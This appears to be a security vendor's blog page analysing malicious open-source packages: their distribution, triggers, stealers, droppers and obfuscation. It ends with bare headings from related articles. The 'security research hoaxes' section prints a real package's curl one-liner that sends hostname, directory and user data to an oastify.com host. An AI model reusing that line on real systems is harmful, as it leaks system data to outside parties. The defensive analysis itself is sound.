The asymmetry between how easy it is for attackers to distribute malware using the infrastructure available for open source, and how hard it is for organizations developing software (everyone?) to avoid getting infected with malware (and to deliver malware in the software they distribute for others), led to the quarter-million mark of malicious packages almost reached last year.

This is a problem of such magnitude that no single organization can solve it, and the community is in the process of reframing the open source process concerning trust, secure-by-default and secure-by-design principles, and the lifecycle of components. We will take a look at such ideas in the next episode Protecting Against Open Source Malicious Packages: What Does (Not) Work.

Remember that we are talking about software components that most of the time correspond to software packages: reusable components packed so they could be referenced as a dependency in a software manifest, and installed with a package manager or build tool. Please note that this case could be expanded to include public container images (used by container runtimes and orchestration platforms like Kubernetes), and extensions to software tools (for building, automation, and deployment).

Here we analyze how this attack tactic based on malicious components works, according to past examples and what we have seen in our platform for Malware Early Warning (MEW). We will dissect malicious components in different dimensions:

(1) the way chosen for distribution (registry used, in a new or existing component, and the technique used for infecting the component version published), (2) how the malware is activated or triggered, (3) the malicious behavior i.e. what harmful actions are observed and which is the motivation of the attacker, (4) which techniques are common for obfuscation, hiding for going unnoticed, lateral movement, communication with command and control (C2) hosts, etc.; and (5) the techniques for gaining enough popularity and trust so the victims end up installing the component.

The Distribution Mechanism Chosen

We observe a “background noise” of unsophisticated malicious packages using typosquatting to phish unwary developers with a typo in the package name for their dependency. Many popular packages receive a barrage of similarly named packages with typos, with the expectation that they will phish some unwary developers.

They use an ephemeral account, publish a group of typosquat packages, create another, and publish another group… Using some automation and ingenuity they can get some sophistication, but typically they are rather trivial. We internally call them “anchovies”. Credentials stealing is the main goal, but occasionally we find spyware exfiltrating source code or sensitive data like personally identifiable information (PII), clipboard capture, and other misgivings.

Coming out of the blue we see more sophisticated malicious components, the “sharks”. A minority are targeted to specific groups or organizations, typically with crypto drainers or web skimmers that are activated conditionally, perhaps following the approach seen in the event-stream incident of decrypting the attack payload only when the package is referenced from a target package.

The distribution mechanism was analyzed in the excellent and now classic paper, “Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks”, which is a must-read. Surely you have seen this nice chart before:

All avenues were explored, including new and existing packages; affecting the source code, the build system, or the packaged component itself; using stolen credentials or social engineering; hijacking abandoned accounts and repositories or poisoning maintained ones. Some attacks received names (Typosquatting, Dependency Confusion, Manifest Confusion, Repo-jacking. etc.) and were already discussed elsewhere.

What about the registries chosen?

NPM continues to lead in the total number of malicious packages, but we saw a spike starting this year on PyPI. Python is a popular ecosystem for data science and machine learning. In fact, the malware density is now higher in PyPI than in NPM.

How the malware is triggered

Malicious packages are triggered during installation in only 4 out of 10 cases (in recent years it was close to 6 out of 10). The rest runs malicious behavior at runtime, with 1 out of 100 triggered while running tests. The adversaries seem to know that uncontrolled execution of installation scripts was disabled in many places.

What are the bad guys getting?

We will list the malicious behavior categories, with the most popular first. Please note that impact could be quite different: a wiper is stubbornly destructive, but it is not common and was seen only in a few cases, related to targeted cyber war campaigns or brutal hacktivism. The following categories are pretty common:

InfoStealer / Credentials Drainer. By far the most frequent, over 90% of the unsophisticated attacks are simple stealers mainly looking for credentials like passwords, access tokens, API keys, and private keys (for SSH and the like). It is probably the simplest to write (along with wipers?). They enumerate known files/directories and other sources (e.g. registry keys), package the contents, and send that data to a C2 server. The idea is simple: “I publish a stealer for phishing credentials, so I can later use the credentials for launching a directed attack”.
The C2 networking observed is typically cheap-and-dirty, like Telegram channels or ngrok-like tunneling tools (often in the form of reverse proxies exposed through VPN egress IPs). There are hundreds (!) of possibilities, with many GitHub projects under the password-stealer topic. Specializations like keyloggers are rare for malicious packages and container images, but more frequent in tool extensions, where user interaction is expected.

Dropper / Downloader. The second in popularity, typically coming first in multi-stage attacks. More than one in three of malicious components have droppers (if the malicious payload comes included within the package) or downloaders (the payload is downloaded from an endpoint under the control of the attacker). The payload is often a known binary malware variant, and it is run and sometimes persisted, for installing backdoors, spyware, crypto drainers, and other use cases. The payload downloaded or deployed starts a second-phase attack with all the power provided by existing malware binaries. The binaries can be distributed within the package, often masqueraded as images or supposedly innocuous file types, to avoid detection while connecting to unexpected sites.

Cryptocurrency Stealers / Miners. Financially motivated adversaries are willing to use your cloud assets for running cryptominers (they even detect if they are running in a cloud VM). They do not care about the low-profit ratio of $1 for every $53 charged to the victim for the stolen cloud infrastructure. Victims may not be aware of this until they receive an unexpected bill. Fortunately, this comes and goes. Cryptojacking campaigns in malicious packages occasionally pop up and then fade away, phishing for wallet users or eventually targeting the wallet provider, as in the Ledger attack.

Other behaviors, like deploying a backdoor for remote code execution by opening a reverse shell is less frequent now than in the past. For example, the 123rf_contributor_web package (now removed from the registry) opens without any obfuscation a reverse shell copied and pasted from the Reverse Shell Cheat Sheet:

Malicious package types were observed during the week of 24–30 June 2024.

In addition to legitimate and malicious components, we have observed several abuses, including:

Spam packages

There are thousands of small packages, mostly in NPM, with no malware but promising easy earnings, snake oil, links to Viagra offerings, and all that. A few users publish such spam and take a lot of bandwidth from the registry. Another actor(s) possibly from Indonesia tried to extract benefit by abusing the teaRank intended for compensating open-source developers, by creating tens of thousands of interrelated NPM packages with related GitHub dummy repositories. This is a clear violation of the terms of use.

Bug bounty and security research hoaxes

When a package describes itself as exfiltrating data for good purposes, like detecting security flaws for bug bounty programs or researching certain aspects of the ecosystem. We have seen thousands of packages in this category, which fetch identification but not too sensitive data to a Burp Collaborator address from PortSwigger (e.g. host in oastify.com domain). We observed often copycats

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")

And also included a “This is Simple Dependency Confusion Attack Proof of Concept” disclaimer description in the package.json. This is a clear violation of the terms of service, even without malicious intent.

Some good news? We have not seen (yet) ransomware attacks delivered through malicious components. For unknown reasons, cybercriminals seem to prefer more traditional email phishing, RDP-based, and drive-by download delivery mechanisms.

Additional Techniques Observed

Many techniques were used for persistence, defense evasion, information collection, communication with command & control hosts, and exfiltration.

Persistence in malicious components is gained using the persistence features in a second-stage binary malware, but sometimes the behavior is located in the package code, with scheduled tasks and changes in the Windows registry the most common.

Obfuscation is common, but unsophisticated. Most typosquatting packages (remember the “anchovies”?) do not use obfuscation at all; many use either trivial ones (base64/hex encoding or substitution ciphers like rot13) or use available code obfuscators and minification, which is easily reversed with the right tooling. Only the “sharks” do real, hard-core, obfuscation, hard to reverse-engineer.

Obfuscation may hide the attack, but why would code in an open-source component need to be obfuscated? Is there evidence that something needs to be hidden from plain sight? We have found many instances of non-malicious packages that use obfuscation to protect intellectual property, which is contradictory to “open source”. Obfuscation can be used as evidence of malware, but it’s not conclusive. It’s also difficult to de-obfuscate.

Evasion from defense controls adopts simple techniques. Malicious code is often protected in try … catch blocks that ignore any exceptions, so abnormal activity is not shown in the logs. Verification of the environment (running in a VM or container) is rare, unless for malware targeting a particular organization or environment.

Masquerading binaries in images and PDF files (sort of steganography) was another technique seen to evade detection.

As the most common malicious components are infostealers, data collection is essential. Secrets (passwords, access tokens, API keys, cryptographic keys) are routinely scanned in log files, environment variables, and even the clipboard (seen with banking trojans and crypto stealers). Source code exfiltration is also common, as the package installation is often done in a development node where internal git repositories might be cloned. We have seen packages enumerating directories in search of git repositories. Looking for locations like .env, private.pem, settings.py, app.js, or application.properties is quite common.

Exfiltration is another widely deployed action. Only a minority of malicious packages even try to hide the destination of the extracted data. Telegram channels and ngrok-like tunnels are often used. And there are many typically whitelisted domains used for exfiltration.

Other techniques, like privilege escalation or lateral movement, were less common.

Gaining Popularity and Trust

Imagine a tech crook with a ready-made killer malicious thing wondering: “How do I make this piece of s#$! trustworthy to those unsuspecting morons?“.

That translates into how to make the entry for the malicious component to show many stars / forks (for popularity), plus versions / issues and pull requests (for activity). The idea is to gain fictitious popularity (stars) and dependents, and a convincing look regarding relevance and maintenance.

The registry does not check if the contents in a GitHub project and the package contents match. This is a well-known issue in the software supply chain. The public registries are giant sinkholes that swallow everything thrown at them. You can link any repository.

Evidence distribution in potential malware during the week of 24–30 June 2024.

If the malicious package typo-squats a popular one, that’s easy: just reference the existing GitHub repository in the dependencies manifest used for creating the package and publishing it into the registry. For new packages on a fake GitHub repo, you may need more ingenuity, perhaps creating fake stargazing/forking GitHub accounts via scripting.

And if the contents of your package are reasonably similar to the repo, slip a couple of well-designed changes here and there… You can inject your malware into a new package resembling a popular one referencing the existing one’s repository, and wait for the typos. If anyone dares to compare the contents of the package tarball with the contents from the GitHub repository, the differences at the malware injection points could be easily missed. We have seen this approach many times before.

A mechanism for a component to make a tamper-proof statement about provenance, how the package was built, from what sources, and by whom, would be welcome. But that is another story.

Is component X malware?

Is there a (comprehensive) database of malicious packages? Nope. Open-source vulnerabilities have a CVE ID assigned, but only a few malicious packages (particularly the ones that make headlines) are given one. The CWE for malicious packages is CWE-506 (embedded malicious code).

The usual malware tools (VirusTotal, MalwareBazaar, SOREL-20M…) do not make specific provisions for malicious components. That would be welcome!

There are research sample databases and datasets for analysis (we use a few of them), but entries are updated only when the malicious package is known, which is often too late. If you are interested, the OpenSSF Malicious Packages is a nice start.

In the next post, we will discuss how to know if a given package is malicious. Spoiler: yes, there are ways of checking for malicious components early during the exposure window, before the registry removes a known malicious component.

References

Open Source Malicious Packages: The Problem, previous episode in this series.
Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks
OpenSSF Malicious Packages

Open Source Malicious Packages: The Problem

Luis Manuel Rodriguez Berzosa — Mon, 16 Jun 2025 13:00:00 +0000

Open Source Malicious Packages: The Problem
This is the first episode in a series of articles about the most prevalent kind of software supply chain attacks: those that (ab)use a public registry of software components, intended for open-source projects to upload artifacts that could be shared with other users.

When the bad guys publish malicious software there, using the registry as a vehicle for malware distribution, we have a supply chain attack when the victim organizations install or run the infected software component.

To simplify the discussion we will talk about software packages: components in a packaged form produced by third parties. This includes not only components used by package managers like NPM or Poetry, but also operating system components including libraries and executable binaries, container images, and virtual machines, or tool extensions for development, build, and deployment tools.

We have seen malicious packages everywhere. Cybercriminals do not mind: they are delighted by the alternatives provided by modern software infrastructures and use the registry and the tool that best fits their intent. So please remember that software packages are a shorthand for container images, binary packages, open-source repositories, and extensions or plugins of all sorts (IDEs, CI/CD systems, build tools). All are routinely under attack.

The Series: What to Expect

The series will have 5 episodes:

What Is the Problem With Open Source Packages?

This is the theme of this post. Why are criminals of all kinds publishing malicious packages? Why should I be concerned?
Anatomy of Malicious Packages: What Are the Trends?

In this episode, we focus on the threat we are monitoring with our MEW system, day after day. With a large background noise due to a large number of malicious packets using typosquatting or dependency confusion, a smaller percentage of attacks are much more insidious and pose a greater risk. How has the bad actors’ behavior regarding OS changed in the recent past? What are the numbers? What are the tactics, techniques, and procedures used, and the harmful actions seen?
Protecting Against Open Source Malicious Packages: What Does (Not) Work

Most security-aware professionals have ideas about how to handle this threat. In this episode, we will review why some common assumptions are wrong and which efforts and resources are really needed.
Open Source Malicious Packages: The Xygeni Approach

Here we present the strategy we follow at Xygeni for our Malware Early Warning (MEW) system, including how the system works, how evidence is gathered, triaged, and how classification is improved.
Exploiting Open Source: What To Expect From The Bad Guys

The series ends focusing on the newest actions the adversaries are embracing to make the attacks stealthier, more targeted, and how AI is being leveraged for advanced malware delivery.

Let’s open the stage with the first episode: What’s going on with malicious open source packages?

What Is the Problem With Open Source Packages?

In recent years, wrongdoers of all kinds used open source software registries for delivering malicious behavior. These activities are as old as open source, but their frequency exploded in the last three years.

Publishing malicious components into public registries (dependency-based attacks) is asymmetric guerrilla warfare that threat actors use to distribute malware, leveraging the trust that organizations put in open source components coming from unknown developers (remember the dependency xkcd comic?). Because you trust packages and do not manually review their contents and dependencies, these attacks are extraordinarily effective. The asymmetry comes from the fact that they can be largely automated, and the bad guys do not need to interact with the victim directly. They simply upload the package into the public registry and let it go.

Malicious packages surged by a 6x factor in 2022, and continued to grow by a 2.5x factor in 2023. Last year, a whopping 245,000 malicious packages were seen—a figure that more than doubles the total number from previous years combined. This is exponential growth! From package removals as confirmed malware in the hundreds during 2021 and in the thousands during 2022, we saw much more background “noise” during 2023, with a similar pace for this year. Hidden in that noise—caused by unsophisticated cybercriminals following the “path of least resistance”—a minority of high-profile attacks reached headlines even in general media.

Why is this a problem of such magnitude?

There is an excess of trust all over the chain. Open source software is distributed with its source code, and released under a given license. Yes, anyone can inspect the source code—but who does, at scale? Who, after inspecting that the software has no malware, builds the software from the sources? Who, before passing the packaged component (also known as a package) downstream to the package manager or build tool, makes sure that it is malware-free and matches the supposed source code?

Why does the infrastructure allow such easy attacks?

Package registries are open, often requiring minimal verification of the identity of the publisher. “Anyone is welcome to publish their software here!” The bar for attackers is set low: they use disposable email addresses and disposable GitHub accounts to create hundreds of malicious packages in short, phishing-like campaigns. Only for targeted ones a higher sophistication is needed: we’ve seen even credible GitHub source repositories with many stars and commits from multiple fake contributors and ...

Package managers were designed for ease of use, not for security. They can run pre- and post-install scripts (sometimes compiling native code for a library is necessary). Also, package managers install packages from multiple sources, and sometimes the default is to use public registries. They did not check for mismatches between the metadata in the publish request and the metadata in the package itself.

Dependencies are nested and form a graph. In certain ecosystems like Node (JavaScript), small-grained dependencies accumulate in the hundreds or thousands. One thing is to have strict control over direct dependencies declared by your software projects, but transitive dependencies are harder to control. Open source followed “the friends of my friends are my friends” logic. Brotherhood is the norm in the wild Far East! Threat actors know this and hide malicious behavior deep in obscure dependencies that are...

This is how open source software worked since its inception. It will not change much. Some package registries are demanding at best two-factor authentication, and often just for the most popular packages. Some registries provide scopes, a namespace owned by a vetted organization, but tragically others do not support it (like PyPI) or make it optional (like NPM).

It is interesting to note that even a simple screening scheme (based on control of the DNS or GitHub repository/organization matching the group ID) and making PGP signatures mandatory for all artifacts except checksums removes most of the “noise,” typosquatting-like malicious packages, and limits much of dependency confusion. Sophisticated attacks are possible but much harder, with only a few like the com.github.codingandcoding:maven-compiler-plugin known for Maven Central. And not all Maven registries follow...

Security controls on package managers may burden but do not impede dependency attacks. The problem with multi-factor authentication is that for automation, derived credentials like access tokens or API keys are generated for accounts to be used in API calls made from automation scripts, with no backing interactive user providing a second factor.

MFA is good for protecting user accounts from password leaks, but the generated access tokens or API keys need to be protected while active, or their owner will be impersonated by adversaries. A large fraction of package-based supply chain campaigns start with a leaked key or token. Just remember incidents like Ledger, 3CX, and many more, where non-interactive credentials were first exfiltrated in a preliminary intrusion for launching the supply chain attack.

The response was not robust enough

The response given to this threat was not robust enough. In the third episode, we will focus on what worked, and what failed miserably. The industry needs to work collectively on the standards, processes, education, and tooling to mitigate risks to global supply chains. This is not a problem a single organization can solve on its own.

To end this section, the crucial misunderstanding: we are talking about malicious packages, not vulnerable ones. Vulnerabilities come from design or coding errors, accidentally introduced, without bad intent. Vulnerabilities may be exploited, but many are not.

Malicious packages are always intentional, and there is 100% exploitability if they get executed. No comparable risk! Hence, it is paradoxical to see how many efforts are put into detecting and mitigating vulnerabilities, and the lack of equivalent measures for malicious components.

“We take security seriously”

Let’s imagine the customary Acme Corporation. Acme, a major provider for WileCoyote.com, has most of its software coming from third parties, with more than 80% from open source projects. They produce software for internal usage, but they also provide software for their partners, providers, and customers/end-users.

Acme has software written in Go, JavaScript, Java, C#, and Python, and runs most of its software on the cloud, under Kubernetes clusters. Acme builds its custom images from base images taken from Docker Hub and other registries. And they share a few libraries, packages, and container images in public registries as well.

Acme takes security seriously. They are pretty aware of the problem of open source security, and the risk it conveys. All developers, system managers, and DevOps engineers use those cute little crypto keys as second-factor authentication. All commits to code repos are signed, branch protection is enabled with mandatory code reviews, CI/CD locked, secrets stored in a vault, and with an internal registry partially mirroring external registries where only the allowed, white-listed components are stored.

Probably most organizations fit into this profile. Dear reader, yours certainly fits if you are yet here, isn’t it?

Then one ill-fated day, an important frontend developer at Acme ran npm install acme-cute-lib, forgetting that @acme/cute-lib was the right scoped dependency. The exact mistake is not important—many things may go wrong even when one assumes perfect control of the software lifecycle. Our developer did not know that an APT group was targeting Acme and published a malicious component under that name, in a cunning way so the malicious behavior activates only when the software is installed on Acme computers. The package was not detected for weeks after its publication.

An installation script is run that searches for credentials (there were many juicy access tokens on our developer’s laptop), allowing access to internal software repositories and the aforementioned internal registry, which of course is only accessible via VPN. The malicious code managed to use the existing VPN connection and publish a second-stage malicious component into the internal registry, affecting a common utils library shared by most of the software delivered by Acme.

Weeks later, other organizations using Acme’s published tools started seeing strange traffic on their networks, with traffic using Acme’s protocol but directed to hosts resembling the Acme domain. The traffic was encrypted, but system monitoring tools found access to unexpected files and the execution of processes that looked like system commands but which ended up running downloaded executables.

The rest is history: Acme first denied that such behavior was imputable to them and that all security measures were in place. Only after the cybersec media started asking why the source of the detected behavior originated from Acme’s components, and security analysis posted how riddled those components were with stealthy malware, Acme had to recognize the incident and called in an incident response firm. A negative marketing campaign that undermined hard-earned confidence in a second. “Acme was one npm install away from disaster” was a common headline. Then lawsuits and canceled contracts followed suit.

Why poisoned packages are so popular

This hypothetical incident shows that even with a reasonable approach to open source security, organizations need specific measures to avoid falling prey to malware in open source components. Schematically, the threat actor can:

Create a new package (typosquatting or dependency confusion—most common by volume).
Try to infect an existing one:
- Injecting code via pull requests.
- Using social engineering to become a maintainer.
- Gaining credentials and impersonating maintainers (e.g. right9ctrl or “Jao Tan”).
Inject malware during the build (via malicious scripts or MITM on downloads).
Directly upload a poisoned artifact using stolen registry credentials.

Poisoning registries with malware is the basis for dependency attacks. Nothing new under the sun: its prevalence exploded, but the same techniques work now as five years ago.

Source: Backstabber’s Knife Collection

The malicious package can operate at:

Install time (via install scripts).
Build time (modifying artifacts).
Runtime (triggering payloads dynamically).

Behaviors include:

Information exfiltration (e.g. secrets or source code).
Dropping additional malware.
Lateral movement and persistence mechanisms.

DEV Community: Luis Manuel Rodriguez Berzosa

LiteLLM Supply Chain Attack: How TeamPCP Backdoored AI Infrastructure

Why This Matters

Timeline

How the Malware Got In: The Cascading Compromise

Technical Analysis: The Payload

Injection Points

Stage 1: Comprehensive Credential Harvesting

Stage 2: Encrypted Exfiltration

Stage 3: Persistent Backdoor (sysmon.py)

Stage 3b: Kubernetes Lateral Movement

Payload Evolution (Commented-Out Variants)

Indicators of Compromise (IOCs)

Network

Package Hashes

File System

Kubernetes

Cryptographic

Attribution: TeamPCP

New TTPs and Techniques

1. Security Tool Supply Chain Poisoning (T1195.002 variant)

2. Python .pth File Persistence (T1546)

3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)

4. Vendor-Impersonating C2 Infrastructure

5. Rapid In-Flight Payload Iteration

What Can Be Done

For Package Consumers

For Package Maintainers

For Platform Operators (PyPI, npm, GitHub)

For the Ecosystem

Conclusion

New Threats in Open Source: Worms, AI-Driven Malware, and Trust Abuse

TL;DR

Self-Propagating Worms Have Arrived

AI Is Now the Operator, Not Just the Tool

Infrastructure Abuse at Scale

Bottom Line

New Threats to the Open Source Ecosystem: Worms, AI-Cooked Malware, and Large-Scale Trust Abuse

Sha1-Hulud: Npm’s First Self-Replicating Worm Attack

Technical Architecture

Credential Harvesting

Exfiltration Infrastructure

Autonomous Propagation

Impact Metrics

Sha1-Hulud 2.0: The Arrakis Worm Strikes Back

Cross-Registry Propagation

Bun Runtime for Evasion

GitHub Actions as Command Infrastructure

Destructive Wiper Capability

GlassWorm: Invisible Code Meets Blockchain C2

Unicode Stealth Technique

Blockchain-Based C2 Architecture

Backup C2: Google Calendar

Payload Delivery

ZOMBI: Full-Spectrum RAT Capabilities

Cryptocurrency Wallet Targeting

Credential Harvesting and Propagation

Impact Metrics

AI-Orchestrated Cyber Espionage

AI as Orchestration System

Social Engineering the AI: Bypassing Safety Controls

Hallucinations Are Great!

Detection and Response

Supply Chain Implications

Infrastructure Abuse: Large-Scale Package Spam Campaigns

IndonesianFoods: TEA Protocol Exploitation

Elves Campaign: Automated Infrastructure Testing

New Tactics, Techniques, and Procedures (TTPs)

Defensive Posture

Pipeline Controls

Credential Management

Detection and Monitoring

Incident Response

Read More

About the Author

A Closer Look at Software Supply Chain Attacks 2025: PyPI & npm Campaigns Compared

Xygeni's MEW: Spotting the Similarities

Malicious Python and npm Packages in Software Supply Chain Attacks (2025)

Typosquatting

Obfuscation as a First Line of Defense

2. Python `.pth` File Persistence (T1546)

Key Components of `load_libraries.py` (from graphalgo)